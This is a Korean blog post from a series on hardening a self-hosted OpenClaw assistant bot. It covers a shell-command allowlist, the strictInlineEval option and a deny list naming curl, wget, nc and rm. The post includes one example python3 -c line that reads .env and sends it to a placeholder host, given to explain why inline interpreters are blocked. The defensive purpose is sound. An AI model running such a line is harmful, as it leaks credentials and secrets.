2026. 6. 25. 19:16ㆍ맥미니 OpenClaw 비서 봇 만들기
schg로 로직 파일을 잠근 것이 1층이었다면, 이번엔 2층 — 봇이 실행할 수 있는 셸 명령 자체를 허용 목록으로 제한했다. 핵심 목적은 .env 키 유출 경로 차단이다.
선행 상태
- schg(로직 불변화) 적용 완료, 6/24 무인 브리핑 정상 도착으로 3중 검증 통과
- 봇 두 대 모두 tools.profile="coding", sandbox.mode="off" — 맥미니 전체 무제한 권한
- 브리핑은 cron이 돌림(봇 exec 경로 무관) → 봇 권한 잠가도 브리핑 무영향
점검 1~3: 화이트리스트 적용 전 사전 조사
exec-approvals.json을 적용하기 전에 3개 점검을 돌렸다.
| 1 (핵심) | 봇의 web_search/web_fetch가 셸 curl을 쓰나? | 아니오. Node 내장 fetch(undici). 셸 안 거침 |
| 2 | 봇이 실제 쓴 exec 명령 종류는? | cat/grep/head/echo/python3/ls/openclaw 등. curl/wget/nc 0건 |
| 3 | 봇이 curl/wget/nc를 셸로 쓴 적 있나? | 양쪽 0건 |
curl을 화이트리스트에서 빼도 봇 웹 기능이 안 깨진다는 게 확정됐다.
python3 구멍 발견
점검 결과를 보고 초안대로 적용하려는데 문제가 보였다. python3를 허용하면 curl을 막은 의미가 없어진다.
python3 -c "import urllib.request,os; urllib.request.urlopen('http://x/'+open('.env').read())"
python3는 curl/wget/nc를 전부 품고 있다. 허용 목록에 넣는 순간 .env 유출 경로가 그대로 열린다.
점검 4: python3 -c만 막을 수 있는가
OpenClaw dist를 끝까지 추적한 결과, 내장 기능으로 지원됐다.
- 화이트리스트 매칭은 "세그먼트별 argv" 단위. 파이프·연쇄는 쪼개서 각각 검사
- 인터프리터 인라인 eval(python3 -c, node -e 등)은 별도 스펙으로 탐지
- tools.exec.strictInlineEval: true 플래그 하나로 python3 -c 차단, python3 script.py 통과
봇의 python3 사용을 실측하니 양쪽 100%가 -c 인라인이었다(한나 54건, 송태섭 112건). 전부 env 키 스캔 용도. 파일 실행 0건. 즉 strictInlineEval을 켜면 지금까지의 python3 사용 전부가 승인 대상이 되지만, 그게 정확히 막아야 할 경로다.
최종 화이트리스트 적용
{
"version": 1,
"defaults": {
"security": "allowlist",
"ask": "on-miss",
"askFallback": "deny"
},
"tools": {
"exec": { "strictInlineEval": true }
},
"agents": {
"main": { "allowlist": [
{"pattern":"cat"},{"pattern":"ls"},{"pattern":"which"},
{"pattern":"diff"},{"pattern":"tail"},{"pattern":"head"},
{"pattern":"grep"},{"pattern":"echo"},{"pattern":"env"},
{"pattern":"printenv"},{"pattern":"python3"},
{"pattern":"notion"},{"pattern":"ntn"},
{"pattern":"openclaw"}
]},
"scout": { "allowlist": [
{"pattern":"cat"},{"pattern":"ls"},{"pattern":"which"},
{"pattern":"diff"},{"pattern":"tail"},{"pattern":"head"},
{"pattern":"grep"},{"pattern":"echo"},{"pattern":"env"},
{"pattern":"printenv"},{"pattern":"python3"},
{"pattern":"openclaw"}
]}
}
}
| cat, ls, grep, head, tail, echo, diff, which, env, printenv, python3(파일 실행만), openclaw, notion/ntn | curl, wget, nc, rm, crontab, chmod, chflags, python3 -c(인라인) |
적용: ~/.openclaw/exec-approvals.json 생성. 재시작 불필요(매 exec마다 읽음). 롤백은 파일 삭제.
승인자 설정과 슬랙 승인 미작동
allowlist 밖 명령은 ask: "on-miss"로 승인 요청을 보내게 했다. 이를 위해 openclaw.json에 이사장 슬랙 유저ID를 approvers로 등록했다.
승인자 등록 과정에서 ID 확인이 중요했다. 로그에서 발견된 ID(U0BC2U5THM2)가 이사장이 아니라 송태섭(봇)이었다. 실제 이사장 ID는 슬랙에서 직접 확인해 등록했다.
결과적으로 슬랙 네이티브 승인 클라이언트가 이 환경에서 작동하지 않았다. 게이트웨이 재시작까지 시도했으나 동일. 승인 버튼이 슬랙 DM으로 발송되지 않는다.
현재 보호 상태
슬랙 승인은 안 되지만, 핵심 목적은 달성됐다.
| 로직 불변 | schg (5개 파일) | 작동 중 |
| 키 유출 차단 | curl/wget/nc 거부 + strictInlineEval | 작동 중 |
| 파괴 명령 차단 | rm/crontab/chmod 등 거부 | 작동 중 |
| 일상 명령 | 허용 목록 자동 통과 | 작동 중 |
| 슬랙 승인 | approvers 등록됨, 클라이언트 미작동 | 보류 |
allowlist 밖은 전부 deny. 봇이 진짜 필요한 명령은 Terminal에서 직접 실행하면 된다.
교훈
- python3를 허용하면 curl을 막은 게 무의미해진다. 인터프리터는 네트워크 도구를 전부 품고 있다. strictInlineEval이 이걸 정확히 해결한다.
- 로그에서 찾은 ID를 검증 없이 넣지 말 것. 봇 ID와 사람 ID를 혼동할 수 있다.
- 핫리로드는 설정값만 갱신한다. 부팅 시 안 만들어진 승인 클라이언트를 새로 만들지는 않는다.
- 안전장치의 목적을 정확히 기억할 것. "슬랙 승인 버튼"이 목적이 아니라 "키 유출 차단"이 목적이다. 후자는 이미 달성됐다.
→ exec-approvals 적용 완료. 다음은 V2 첫 기능(mode_override) 착수.
'맥미니 OpenClaw 비서 봇 만들기' 카테고리의 다른 글
| 맥미니 OpenClaw 비서 봇 만들기 (22) — 세 번째 봇이 태어나기 직전까지 (0) | 2026.06.30 |
|---|---|
| 맥미니 OpenClaw 비서 봇 만들기 (21) — 웹 검색 한 줄로 비서가 달라졌다 (0) | 2026.06.25 |
| 맥미니 OpenClaw 비서 봇 만들기 (18) — 봇에게 권한을 주기 전에, 벨트부터 맸다 (0) | 2026.06.23 |
| # CP17 — 아침 브리핑 주간 모드(일요일/월요일) 추가 (0) | 2026.06.22 |
| ## CP16. 무인 자동화, 진짜로 돌다 — 그리고 다음 일감 (0) | 2026.06.22 |